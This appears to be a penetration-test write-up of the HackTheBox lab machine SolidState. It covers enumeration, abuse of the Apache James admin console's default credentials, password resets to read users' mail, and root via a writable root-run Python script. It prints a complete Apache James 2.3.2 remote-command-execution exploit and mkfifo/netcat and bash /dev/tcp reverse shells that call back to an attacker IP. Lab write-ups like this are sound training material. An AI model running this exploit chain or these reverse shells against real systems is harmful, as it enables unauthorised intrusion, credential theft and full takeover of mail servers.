

1.0 - High Level Summary

1.1 - Host Summary

```
> hostname, IP, OS, tags
Hostname: SolidState
IP: 10.10.10.51
OS: Linux
Tags: #File Misconfiguration, #Web
```

1.2 - Attack Surface Summary

```
> high level overview of exploitable services / potential
## First fuzing
```

```
→ Result:
```ffuf
images [Status: 301, Size: 315, Words: 20, Lines: 10]
assets [Status: 301, Size: 315, Words: 20, Lines: 10]
about.html [Status: 200, Size: 7161, Words: 680, Lines: 130]
services.html [Status: 200, Size: 8398, Words: 856, Lines: 131]
index.html [Status: 200, Size: 7774, Words: 525, Lines: 180]
README.txt [Status: 200, Size: 963, Words: 110, Lines: 34]
server-status [Status: 403, Size: 301, Words: 22, Lines: 12]
 [Status: 200, Size: 7774, Words: 525, Lines: 180]
.html [Status: 403, Size: 293, Words: 22, Lines: 12]
LICENSE.txt [Status: 200, Size: 17128, Words: 2798, Lines: 64]
```
```

1.3 - Exploitation Summary

```
> high level overview of the services you exploited
## Searchsploit "JAMES Remote Administration Tool 2.3.2"
searchsploit "JAMES Server 2.3.2"
```

→ Result:

| Exploit Title | Path |
|--|-----------------------|
| Apache James Server 2.3.2 - Insecure User Creation Arbitrary File Write (Metasploit) | linux/remote/48130.rb |
| Apache James Server 2.3.2 - Remote Command Execution | linux/remote/35513.py |
| Apache James Server 2.3.2 - Remote Command Execution (RCE) (Authenticated) (2) | linux/remote/50347.py |

```
## Get file python exploit RCE "50347.py"
searchsploit -m 50347
```

```
→ Execute:
python3 50347.py 10.10.10.51 10.10.14.2 443
```

```
## Start listening netcat on port 443:
nc -nvlp 443
```

```
## Access port 4555 - service rsip
nc 10.10.10.51 4555
```

```
username: root
password: root
```

→ Result:

```
(root@kali)-[/home/kali]
# nc 10.10.10.51 4555
JAMES Remote Administration Tool 2.3.2 le python exploit RCE "50347.py"
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
HELP
Currently implemented commands:
help          display this help
listusers     display existing accounts
countusers    display the number of existing accounts
adduser [username] [password] add a new user
verify [username] verify if specified user exist
deluser [username] delete existing user
setpassword [username] [password] sets a user's password
setalias [user] [alias] locally forwards all email for 'user' to 'alias'
showalias [username] shows a user's current email alias
unsetalias [user] unsets an alias for 'user'
setforwarding [username] [emailaddress] forwards a user's email to another email address
showforwarding [username] shows a user's current email forwarding
unsetforwarding [username] removes a forward
user [repositoryname] change to another user repository
shutdown      kills the current JVM (convenient when James is run as a daemon)
quit          close connection
```

```
## Reset password user "john"
setpassword john newpassword
```

→ Result:

```
```setpassword
Password for john reset
```
```

```
## Telnet port 110 (POP3)
telnet 10.10.10.51
USER john
PASS newpassword
LIST
RETR 1
```

→ Result:

```
```telnet
Return-Path: <mailadmin@localhost>
Message-ID: <9564574.1.1503422198108.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: john@localhost
Received: from 192.168.11.142 ([192.168.11.142])
 by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
 for <john@localhost>;
 Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
From: mailadmin@localhost
Subject: New Hires access
John,
```

Can you please restrict mindy's access until she gets read on to the program. Also make sure that you send her a temporary password to login to her accounts.

Thank you in advance.

Respectfully,  
James  
```

```
## Turn back netcat sessions 4555:
setpassword mindy mindy
```

```
## Telnet machine port 110 with user mindy:
telnet 10.10.10.51 110
USER mindy
PASS mindy
LIST
RETR 1
```

→ Password SSH user mindy: "P@55W0rd1!2@"

2.0 - Methodology and Walkthrough

2.1 - Enumeration

> scans and initial discover

First scan:

```
nmap -Pn -sS --stats-every 3m --max-retries 1 --max-scan-delay 20 --defeat-rst-ratelimit -p1-65535 -oN /opt/OSCP/labs/HTB/51-SolidState/10.10.10.51.txt 10.10.10.51
```

→ Result:

```
```nmap
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
110/tcp open pop3
119/tcp open nntp
4555/tcp open rsip
```
```

Second scan:

```
nmap -Pn -nvv -sSV -p22,25,80,110,119,4555 -A --version-intensity 9 -oN //opt/OSCP/labs/HTB/51-SolidState/nmap-versions.txt 10.10.10.51
```

→ Result:

```
```nmap
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
| 2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQACp5WdwIckuF4sINUO29xOk/Yl/cnXT/p6qwezI0ye+4iRSyor8lhyAEku/
yz8KJXtA+ALhL7HwYbD3hDUxDkFw90V1Omdedbk7SxUVBPK2CiDpvXq1+r5fVw26WpTCdawGKkaOMYoSWvliBsbwMLJEUwVbZ/
GZ1SUEswpYkyZeiSC1qk72L6CiZ9/5za4MTZw8Cq0akT7G+mX7Qgc+5eOEGcqZt3cBtWzKjHyOZJAEUtwXAHly29KtrPUddXEIf0qJL
GRFeu3im7uQVuDgiXFKbEfmoQAsvLrR8YiKFUG6QBdl9awwmTkLFbS1Z
| 256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
| ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTI0bmVmdHAYNTYAAAAAbmlzdHAYNTYAAABBBISyhm1hXZNQI3cslogs5LKqgWEozfjs3S3aPy4k3riFb6UYu6Q1C
| 256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
|_ ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMKbFbK3MjMjMh9oEw/2Ove0isA7e3ruHz5fhUP4cVgY
25/tcp open smtp syn-ack ttl 63 JAMES smtpd 2.3.2
|_ smtp-commands: solidstate Hello nmap.scanme.org (10.10.14.2 [10.10.14.2])
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.25 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-title: Home - Solid State Security
|_ http-server-header: Apache/2.4.25 (Debian)
110/tcp open pop3 syn-ack ttl 63 JAMES pop3d 2.3.2
```

```

119/tcp open nntp syn-ack ttl 63 JAMES nntpd (posting ok)
4555/tcp open rsip? syn-ack ttl 63
| fingerprint-strings:
| GenericLines:
| JAMES Remote Administration Tool 2.3.2
| Please enter your login and password
| Login id:
| Password:
| Login failed for
| Login id:
| Verifier:
| JAMES Remote Administration Tool 2.3.2
| Please enter your login and password
| Login id:
|_ Password:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at
https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4555-TCP:V=7.92%I=9%D=11/25%Time=61A05287%P=x86_64-pc-linux-gnu%(G
SF:enericLines,7C,"JAMES\x20Remote\x20Administration\x20Tool\x202\3\2\nP
SF:lease\x20enter\x20your\x20login\x20and\x20password\nLogin\x20id:\nPassw
SF:ord:\nLogin\x20failed\x20for\x20\nLogin\x20id:\n")%r(Verifier,60,"JAMES
SF:\x20Remote\x20Administration\x20Tool\x202\3\2\nPlease\x20enter\x20you
SF:r\x20login\x20and\x20password\nLogin\x20id:\nPassword:\n");
```

```

2.2 - Exploitation

```

> gaining a shell
## SSH into machine with credentials:
username: mindy
password: P@55W0rd1!2@

```

```

## Check netcat listening on port 443:

```

→ Result:

```

(root🐼kali)-[/home/kali]
# nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.51] 46306
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ █

```

2.3 - Elevation

```

> methods used to gain SYSTEM / root
## Privesc check with command:
find / -user root -perm -002 -type f -not -path "/proc/*" 2>/dev/null

```

→ Result:

```
find / -user root -perm -002 -type f -not -path "/proc/*" 2>/dev/null
/opt/tmp.py
/sys/fs/cgroup/memory/cgroup.event_control
/sys/fs/cgroup/memory/user.slice/cgroup.event_control
/sys/fs/cgroup/memory/user.slice/user-0.slice/cgroup.event_control
/sys/fs/cgroup/memory/user.slice/user-0.slice/user@0.service/cgroup.event_control
/sys/fs/cgroup/memory/user.slice/user-0.slice/session-43.scope/cgroup.event_control
/sys/fs/cgroup/memory/user.slice/user-116.slice/cgroup.event_control
/sys/fs/cgroup/memory/user.slice/user-1001.slice/cgroup.event_control
/sys/fs/cgroup/memory/init.scope/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/cgroup.event_control
```

Edit file "tmp.py" with vi, cause this file run with root permission:

> tmp.py

vi tmp.py

[Insert button]

paste this code:

```
```python
```

```
#!/usr/bin/env python
```

```
import os
```

```
import sys
```

```
try:
```

```
 os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bin/sh -i 2>&1|nc 10.10.14.2 4444 >/tmp/f')
```

```
except:
```

```
 sys.exit()
```

```
```
```

Start netcat listening on port 4444:

```
nc -nvlp 4444
```

Run file python3 "tmp.py" and check netcat session:

```
python /opt/tmp.py
```

Ignore this issue permission print on SolidState machine:

```
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ python /opt/tmp.py
python /opt/tmp.py
rm: cannot remove '/tmp/f': Operation not permitted
mkfifo: cannot create fifo '/tmp/f': File exists
sh: 1: cannot create /tmp/f: Permission denied
```

→ Result:

```
root@solidstate:~# id
uid=0(root) gid=0(root) groups=0(root)
```

3.0 - Loot and Code

3.1 - Proof

> screenshot of whoami, ip, and flag

```

root@solidstate:~# id
uid=0(root) gid=0(root) groups=0(root)
root@solidstate:~# ifconfig
ens192: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.10.10.51 netmask 255.255.255.0 broadcast 10.10.10.255
    inet6 fe80::250:56ff:feb9:956d prefixlen 64 scopeid 0x20<link>
    ether 00:50:56:b9:95:6d txqueuelen 1000 (Ethernet)
    RX packets 2251 bytes 838443 (818.7 KiB)
    RX errors 0 dropped 19 overruns 0 frame 0
    TX packets 3616 bytes 564942 (551.7 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1 (Local Loopback)
    RX packets 6 bytes 340 (340.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 6 bytes 340 (340.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

root@solidstate:~# cat /root/root.txt
4f4afb55463c3bc79ab1e906b074953d

```

3.2 - Code Used

> full exploit code with source and highlights of changes

Reverse shell with python code RCE (Apache James Server 2.3.2 - Remote Command Execution):

```
```python
```

```
#!/usr/bin/python3
```

```
import socket
```

```
import sys
```

```
import time
```

```
credentials to James Remote Administration Tool (Default - root/root)
```

```
user = 'root'
```

```
pwd = 'root'
```

```
if len(sys.argv) != 4:
```

```
 sys.stderr.write("[-]Usage: python3 %s <remote ip> <local ip> <local listener port>\n" % sys.argv[0])
```

```
 sys.stderr.write("[-]Example: python3 %s 172.16.1.66 172.16.1.139 443\n" % sys.argv[0])
```

```
 sys.stderr.write("[-]Note: The default payload is a basic bash reverse shell - check script for details and other options.\n")
```

```
 sys.exit(1)
```

```
remote_ip = sys.argv[1]
```

```
local_ip = sys.argv[2]
```

```
port = sys.argv[3]
```

```
Select payload prior to running script - default is a reverse shell executed upon any user logging in (i.e. via SSH)
```

```
payload = '/bin/bash -i >& /dev/tcp/' + local_ip + '/' + port + ' 0>&1' # basic bash reverse shell exploit executes after user login
```

```
#payload = 'nc -e /bin/sh ' + local_ip + ' ' + port # basic netcat reverse shell
```

```
#payload = 'echo $USER && cat /etc/passwd && ping -c 4 ' + local_ip # test remote command execution capabilities and connectivity
```

```
#payload = '["$id -u" == "0"] && touch /root/proof.txt' # proof of concept exploit on root user login only
```

```

print ("[+]Payload Selected (see script for more options): ", payload)
if '/bin/bash' in payload:
 print ("[+]Example netcat listener syntax to use after successful execution: nc -lvnp", port)

def recv(s):
 s.recv(1024)
 time.sleep(0.2)

try:
 print ("[+]Connecting to James Remote Administration Tool...")
 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 s.connect((remote_ip,4555)) # Assumes James Remote Administration Tool is running on Port 4555, change if necessary.
 s.recv(1024)
 s.send((user + "\n").encode('utf-8'))
 s.recv(1024)
 s.send((pwd + "\n").encode('utf-8'))
 s.recv(1024)
 print ("[+]Creating user...")
 s.send("adduser ../../../../etc/bash_completion.d exploit\n".encode('utf-8'))
 s.recv(1024)
 s.send("quit\n".encode('utf-8'))
 s.close()

 print ("[+]Connecting to James SMTP server...")
 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 s.connect((remote_ip,25)) # Assumes default SMTP port, change if necessary.
 s.send("ehlo team@team.pl\r\n".encode('utf-8'))
 recv(s)
 print ("[+]Sending payload...")
 s.send("mail from: <'@team.pl>\r\n".encode('utf-8'))
 recv(s)
 # also try s.send("rcpt to: <../../../../etc/bash_completion.d@hostname>\r\n".encode('utf-8')) if the recipient
 cannot be found
 s.send("rcpt to: <../../../../etc/bash_completion.d>\r\n".encode('utf-8'))
 recv(s)
 s.send("data\r\n".encode('utf-8'))
 recv(s)
 s.send("From: team@team.pl\r\n".encode('utf-8'))
 s.send("\r\n".encode('utf-8'))
 s.send("\n".encode('utf-8'))
 s.send((payload + "\n").encode('utf-8'))
 s.send("\r\n.\r\n".encode('utf-8'))
 recv(s)
 s.send("quit\r\n".encode('utf-8'))
 recv(s)
 s.close()
 print ("[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).")
 if '/bin/bash' in payload:
 print ("[+]Don't forget to start a listener on port", port, "before logging in!")
except:
 print ("Connection failed.")
...

Privesc by edit "tmp.py"
```python
#!/usr/bin/env python
import os
import sys
try:
    os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bin/sh -i 2>&1|nc 10.10.14.2 4444 >/tmp/f')

except:
    sys.exit()
...

```